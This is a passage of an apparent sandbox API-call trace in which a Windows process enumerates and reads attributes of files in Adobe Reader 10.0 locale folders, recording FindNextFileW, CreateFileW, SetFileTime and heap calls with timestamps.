out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.138] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.138] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.138] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.138] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.138] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.138] GetLastError () returned 0x12 [0082.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1280d80) returned 1 [0082.139] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1280e88) returned 1 [0082.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1280c78) returned 1 [0082.139] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0082.139] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ITA", cAlternateFileName="")) returned 1 [0082.139] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 1 [0082.139] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 0 [0082.139] GetLastError () returned 0x12 [0082.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.139] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.140] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0082.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.141] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a84c0 [0082.141] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a84c0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12a84c0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a84c0) returned 1 [0082.142] NtClose (Handle=0x16c) returned 0x0 [0082.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.142] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.144] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.144] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="")) returned 1 [0082.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b0e8 [0082.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280c78 [0082.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.146] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.JPN", cAlternateFileName="")) returned 1 [0082.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b108 [0082.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280e88 [0082.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.147] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.JPN", cAlternateFileName="")) returned 1 [0082.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b128 [0082.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280d80 [0082.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.149] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.JPN", cAlternateFileName="")) returned 1 [0082.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b148 [0082.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12811a0 [0082.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6d00) returned 0x1293f28 [0082.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a17f8) returned 1 [0082.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.150] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.JPN", cAlternateFileName="")) returned 1 [0082.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b168 [0082.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12812a8 [0082.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.152] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.JPN", cAlternateFileName="")) returned 1 [0082.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b188 [0082.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12813b0 [0082.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.JPN", cAlternateFileName="")) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b1a8 [0082.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12814b8 [0082.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.155] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.JPN", cAlternateFileName="")) returned 1 [0082.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b1c8 [0082.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12815c0 [0082.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.JPN", cAlternateFileName="")) returned 1 [0082.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b1e8 [0082.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12816c8 [0082.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.158] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.JPN", cAlternateFileName="")) returned 1 [0082.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b208 [0082.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12817d0 [0082.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.159] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.JPN", cAlternateFileName="")) returned 1 [0082.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b228 [0082.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12818d8 [0082.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.161] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.JPN", cAlternateFileName="")) returned 1 [0082.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b248 [0082.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12819e0 [0082.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.162] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.JPN", cAlternateFileName="")) returned 1 [0082.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.163] RtlAllocateHeap 